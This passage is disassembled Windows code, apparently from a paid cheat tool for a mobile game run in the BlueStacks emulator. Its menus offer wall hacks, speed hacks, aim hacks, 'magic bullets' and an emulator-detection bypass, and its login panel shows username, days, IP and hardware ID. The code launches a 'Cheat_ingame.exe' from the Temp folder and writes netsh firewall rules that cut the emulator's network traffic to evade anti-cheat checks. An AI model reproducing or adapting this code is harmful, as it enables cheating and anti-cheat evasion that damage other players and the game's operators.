jne 0x140056505
cmp dword [0x14022377c], edi
jne 0x140056a21
call fcn.140016c40
lea rdx, [rbp + 0x190]
mov dword [rbp + 0x190], 0x43858000
lea rcx, str.Misc_Options
mov dword [rbp + 0x194], 0x437a0000
call fcn.14000cc60
mov r8b, 1
lea rdx, [0x140223724]
lea rcx, str.Wall_Hack
call fcn.140034710
mov ecx, 0x200
call fcn.140007d30
test al, al
je 0x140056353
lea rcx, str.Applies_in_Game
call fcn.140017c80
mov r8b, 1
lea rdx, [0x140223834]
lea rcx, str.Speed_Hack
call fcn.140034710
mov ecx, 0x200
call fcn.140007d30
test al, al
je 0x140056383
lea rcx, str.Applies_in_Game
call fcn.140017c80
mov r8b, 1
lea rdx, [0x140223710]
lea rcx, str.Right_Camera
call fcn.140034710
mov ecx, 0x200
call fcn.140007d30
test al, al
je 0x1400563b3
lea rcx, str.Applies_in_Game
call fcn.140017c80
lea rdx, [0x1402237c7]
lea rcx, str.Camera_Up
call fcn.140039020
mov ecx, 0x200
mov byte [0x140223772], al
call fcn.140007d30
test al, al
je 0x1400563e6
lea rcx, str.Applies_in_Lobby
call fcn.140017c80
lea rdx, [0x1402237cb]
lea rcx, str.Vision_Hack
call fcn.140039020
mov ecx, 0x200
mov byte [0x140223786], al
call fcn.140007d30
test al, al
je 0x140056419
lea rcx, str.Applies_in_Lobby
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
movaps xmm1, xmm14
movaps xmm0, xmm13
call fcn.1400169e0
call fcn.140016c40
lea rdx, [rbp + 0x198]
mov dword [rbp + 0x198], 0x43858000
lea rcx, str.Magic_Options
mov dword [rbp + 0x19c], 0x43a00000
call fcn.14000cc60
lea rdx, [0x1402237d3]
lea rcx, str.Magic_Bullets_V1
call fcn.140039020
mov ecx, 0x200
mov byte [0x1402237e6], al
call fcn.140007d30
test al, al
je 0x14005648f
lea rcx, str.Applies_in_Lobby
call fcn.140017c80
lea rdx, [0x1402237b5]
lea rcx, str.Fix_Delay_AWM
call fcn.140039020
mov ecx, 0x200
mov byte [0x1402236ce], al
call fcn.140007d30
test al, al
je 0x1400564c2
lea rcx, str.Applies_in_Game
call fcn.140017c80
lea rdx, [0x1402237b4]
lea rcx, str.Remove_Bug_Magic
call fcn.140039020
mov ecx, 0x200
mov byte [0x1402236cd], al
call fcn.140007d30
test al, al
je 0x1400564f5
lea rcx, str.Applies_in_Game
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
mov eax, dword [0x140223714]
cmp eax, 4
jne 0x140056a21
cmp dword [0x14022377c], edi
jne 0x140056a21
call fcn.140016c40
lea rdx, [rbp]
mov dword [rbp], 0x44098000
lea rcx, str.Login_Information
mov dword [rbp + 4], 0x437a0000
call fcn.14000cc60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov edx, r14d
lea rcx, [rbp - 0x28]
call fcn.1400419e0
cmp qword [rbp - 0x10], 0xf
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x228]
cmova rdx, qword [rbp - 0x28]
call fcn.140041520
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400565a6
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400565a1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov edx, r15d
lea rcx, [rbp - 0x28]
call fcn.1400419e0
cmp qword [rbp - 0x10], 0xf
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x2e0]
cmova rdx, qword [rbp - 0x28]
call fcn.140041520
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140056607
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056602
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov edx, r12d
lea rcx, [rbp - 0x28]
call fcn.1400419e0
cmp qword [rbp - 0x10], 0xf
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x300]
cmova rdx, qword [rbp - 0x28]
call fcn.140041520
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140056668
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056663
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov rcx, qword [0x140244bd0]
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rcx
cmp rax, 0xa
jb 0x14005820e
cmp qword [0x140244bd8], 0xf
lea rax, [0x140244bc0]
mov qword [rsp + 0x30], rcx
lea r9, str.Username:
cmova rax, qword [0x140244bc0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
call fcn.140041ea0
mov rcx, qword [0x140244c50]
mov rax, rsi
sub rax, rcx
cmp rax, 6
jb 0x14005820e
cmp qword [0x140244c58], 0xf
lea rax, [0x140244c40]
mov qword [rsp + 0x30], rcx
lea r9, str.Days:
cmova rax, qword [0x140244c40]
lea rcx, [rbp + 0x208]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 6
call fcn.140041ea0
mov rcx, qword [0x140244bf0]
mov rax, rsi
sub rax, rcx
cmp rax, 4
jb 0x14005820e
cmp qword [0x140244bf8], 0xf
lea rax, [0x140244be0]
mov qword [rsp + 0x30], rcx
lea r9, str.Ip:
cmova rax, qword [0x140244be0]
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 4
call fcn.140041ea0
mov rcx, qword [0x140244c10]
mov rax, rsi
sub rax, rcx
cmp rax, 6
jb 0x14005820e
cmp qword [0x140244c18], 0xf
lea rax, [0x140244c00]
mov qword [rsp + 0x30], rcx
lea r9, str.HWID:
cmova rax, qword [0x140244c00]
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 6
call fcn.140041ea0
cmp qword [rsp + 0x78], 0xf
lea rcx, [rsp + 0x60]
cmova rcx, qword [rsp + 0x60]
call fcn.140035e20
cmp qword [rbp + 0x220], 0xf
lea rcx, [rbp + 0x208]
cmova rcx, qword [rbp + 0x208]
call fcn.140035e20
cmp qword [rbp - 0x30], 0xf
lea rcx, [rbp - 0x48]
cmova rcx, qword [rbp - 0x48]
call fcn.140035e20
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call fcn.140035e20
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005684d
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056848
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov rdx, qword [rbp - 0x30]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], dil
cmp rdx, 0xf
jbe 0x140056898
mov rcx, qword [rbp - 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056893
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov rdx, qword [rbp + 0x220]
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], dil
cmp rdx, 0xf
jbe 0x1400568e9
mov rcx, qword [rbp + 0x208]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400568e4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov rdx, qword [rsp + 0x78]
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x220], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x208], dil
cmp rdx, 0xf
jbe 0x14005693f
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005693a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov rdx, qword [rbp + 0x318]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], dil
cmp rdx, 0xf
jbe 0x140056993
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005698e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x1400569d4
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400569cf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
mov rdx, qword [rbp + 0x240]
cmp rdx, 0xf
jbe 0x140056a15
mov rcx, qword [rbp + 0x228]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056a10
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581ea
call fcn.1400bbaa4
call fcn.14000cd60
call fcn.140016d90
jmp 0x140056a2b
movabs rsi, 0x7fffffffffffffff
call fcn.14000be20
mov ecx, 2
call fcn.1400048c0
mov rcx, qword [0x1402236d0]
movss xmm8, dword [0x1400ded54]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, xmm8
addss xmm0, dword [0x1400decd8]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140016c40
mov rbx, qword [0x1402236d0]
lea rdx, [rbp + 0x264]
movss xmm6, dword [0x140223774]
mulss xmm6, dword [r13 + 0x37e0]
mov dword [rbp + 0x264], edi
movss xmm0, dword [rbx + 0x37e0]
lea rcx, [rbx + 0x47f8]
movss dword [rbp + 0x268], xmm0
call fcn.14001f310
mov eax, dword [0x140223714]
movss dword [rbx + 0x37e0], xmm6
cmp eax, 1
jne 0x140056b1b
movups xmm0, xmmword [0x1402493e0]
lea r8, str.Security
lea rdx, [0x1400d15b4]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f50
mov eax, dword [0x140223714]
test eax, eax
jne 0x140056b47
movups xmm0, xmmword [0x1402493e0]
lea r8, str.Aim_Hacks
lea rdx, [0x1400d159c]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f50
mov eax, dword [0x140223714]
cmp eax, 2
jne 0x140056b74
movups xmm0, xmmword [0x1402493e0]
lea r8, str.Visuals
lea rdx, [0x1400d15a8]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f50
mov eax, dword [0x140223714]
cmp eax, 3
jne 0x140056ba1
movups xmm0, xmmword [0x1402493e0]
lea r8, str.Misc
lea rdx, [0x1400d15a4]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f50
mov eax, dword [0x140223714]
cmp eax, 4
jne 0x140056bce
movups xmm0, xmmword [0x140249310]
lea r8, str.Settings
lea rdx, [0x1400d15ac]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f50
mov eax, dword [0x140223714]
cmp eax, 5
jne 0x140056bf5
movups xmm0, xmmword [0x1402493e0]
lea r8, str.Bypass_Emulator
lea rdx, [0x1400d15b4]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f50
mov rbx, qword [0x1402236d0]
lea rdx, [rbp + 0x270]
movss xmm6, dword [0x1402237e0]
mulss xmm6, dword [r13 + 0x37e0]
xor r13d, r13d
mov dword [rbp + 0x270], r13d
movss xmm0, dword [rbx + 0x37e0]
lea rcx, [rbx + 0x47f8]
movss dword [rbp + 0x274], xmm0
call fcn.14001f310
mov eax, dword [0x140223714]
movss dword [rbx + 0x37e0], xmm6
test eax, eax
jne 0x140056c79
cmp dword [0x14022377c], edi
jne 0x140056d61
movups xmm0, xmmword [0x1402493e0]
lea rdx, [0x1400cfcca]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140036170
mov eax, dword [0x140223714]
cmp eax, 1
jne 0x140056cab
cmp dword [0x14022377c], edi
jne 0x140056d61
movups xmm0, xmmword [0x1402493e0]
lea rdx, [0x1400cfcca]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140036170
mov eax, dword [0x140223714]
cmp eax, 2
jne 0x140056cdd
cmp dword [0x14022377c], edi
jne 0x140056d61
movups xmm0, xmmword [0x1402493e0]
lea rdx, [0x1400cfcca]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140036170
mov eax, dword [0x140223714]
cmp eax, 3
jne 0x140056d0b
cmp dword [0x14022377c], edi
jne 0x140056d61
movups xmm0, xmmword [0x1402493e0]
lea rdx, [0x1400cfcca]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140036170
mov eax, dword [0x140223714]
cmp eax, 4
jne 0x140056d39
cmp dword [0x14022377c], edi
jne 0x140056d61
movups xmm0, xmmword [0x1402493e0]
lea rdx, [0x1400cfcca]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140036170
mov eax, dword [0x140223714]
cmp eax, 5
jne 0x140056d61
cmp dword [0x14022377c], edi
jne 0x140056d61
movups xmm0, xmmword [0x1402493e0]
lea rdx, [0x1400cfcca]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140036170
mov ecx, 2
call fcn.1400048c0
call fcn.140016d90
call fcn.140048360
mov rcx, qword [0x1402236d0]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, [0x140244a10]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x1400ded44]
addss xmm0, dword [0x1400ded78]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
cmp qword [0x140244a28], 0xf
cmova rcx, qword [0x140244a10]
call fcn.140035e20
call fcn.1400123c0
cmp byte [0x140223785], dil
je 0x140056e28
cmp byte [0x1402237ca], dil
je 0x140056e28
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempCheat_ingame.exe
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x1402236dc], dil
je 0x140056e4a
cmp byte [0x1402237b7], dil
je 0x140056e43
mov byte [0x1402248fe], 1
jmp 0x140056e4a
mov byte [0x140244a0e], 1
cmp byte [0x14022372c], dil
je 0x140056e63
cmp byte [0x1402237c2], dil
je 0x140056e63
mov byte [0x140244a7f], 1
cmp byte [0x140223720], dil
je 0x140056e7c
cmp byte [0x1402237bb], dil
je 0x140056e7c
mov byte [0x1402248fb], 1
cmp byte [0x14022372e], dil
je 0x140056e95
cmp byte [0x1402237c4], dil
je 0x140056e95
mov byte [0x140244a3f], 1
cmp byte [0x1402236ce], dil
je 0x140056eb7
cmp byte [0x1402237b5], dil
je 0x140056eb0
mov byte [0x14022383e], 1
jmp 0x140056eb7
mov byte [0x14022489d], 1
cmp byte [0x1402236de], dil
je 0x140057ab4
cmp byte [0x1402237b9], dil
je 0x14005787d
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], __WSAFDIsSet
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de170]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de180]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de190]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de1a0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de1b0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de1c0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de1d0]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de1e0]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x1400de1f0]
mov word [rcx + 0x90], ax
mov byte [rcx + 0x92], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140056fbb
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056fb6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], __WSAFDIsSet
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de210]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de220]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de230]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de240]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de250]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de260]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de270]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de280]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x1400de290]
mov word [rcx + 0x90], ax
movzx eax, byte [0x1400de292]
mov byte [rcx + 0x92], al
mov byte [rcx + 0x93], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400570b2
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400570ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], __WSAFDIsSet
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de2b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de2c0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de2d0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de2e0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de2f0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de300]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de310]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de320]
movups xmmword [rax + 0x80], xmm0
movzx eax, byte [0x1400de330]
mov byte [rcx + 0x90], al
mov byte [rcx + 0x91], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005719b
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057196
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], __WSAFDIsSet
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de350]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de360]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de370]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de380]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de390]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de3a0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de3b0]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de3c0]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x1400de3d0]
mov word [rcx + 0x90], ax
mov byte [rcx + 0x92], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140057285
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057280
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0x90
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], Ordinal_143
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_143
movaps xmm1, xmmword [0x1400de3f0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de400]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de410]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de420]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de430]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de440]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de450]
movups xmmword [rax + 0x70], xmm1
movsd xmm0, qword [0x1400de460]
movsd qword [rax + 0x80], xmm0
mov eax, dword [0x1400de468]
mov dword [rcx + 0x88], eax
movzx eax, word [0x1400de46c]
mov word [rcx + 0x8c], ax
mov byte [rcx + 0x8e], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005737d
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057378
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp - 0x28]
call fcn.140041520
lea rcx, [rbp - 0x28]
call fcn.140048530
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400573d1
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400573cc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0xa0
mov qword [rbp - 0x20], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_In__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], 0x99
movups xmmword [rax], xmm0
mov qword [rbp - 0x10], 0x9f
movaps xmm1, xmmword [0x1400de510]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de520]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de530]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de540]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de550]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de560]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de570]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de580]
movups xmmword [rax + 0x80], xmm0
movsd xmm0, qword [0x1400de590]
movsd qword [rax + 0x90], xmm0
movzx eax, byte [0x1400de598]
mov byte [rcx + 0x98], al
mov byte [rcx + 0x99], dil
lea rcx, [rbp - 0x28]
call fcn.140048530
lea rcx, [rbp - 0x28]
call fcn.140041430
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_Out__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0x9b
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de5b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de5c0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de5d0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de5e0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de5f0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de600]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de610]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de620]
movups xmmword [rax + 0x80], xmm0
movsd xmm0, qword [0x1400de630]
movsd qword [rax + 0x90], xmm0
movzx eax, word [0x1400de638]
mov word [rcx + 0x98], ax
movzx eax, byte [0x1400de63a]
mov byte [rcx + 0x9a], al
mov byte [rcx + 0x9b], dil
lea rcx, [rsp + 0x60]
call fcn.140048530
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140057598
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057593
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400581f1
call fcn.1400bbaa4
mov ecx, 0xa0
mov qword [rsp + 0x68], r13
call fcn.1400bb758
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2Bluestacks.exe_]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], __WSAFDIsSet
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x9f
movaps xmm1, xmmword [0x1400de650]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400de660]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400de670]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400de680]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400de690]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400de6a0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1400de6b0]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1400de6c0]
movups xmmword [rax + 0x80], xmm0
mov eax, dword [0x1400de6d0]
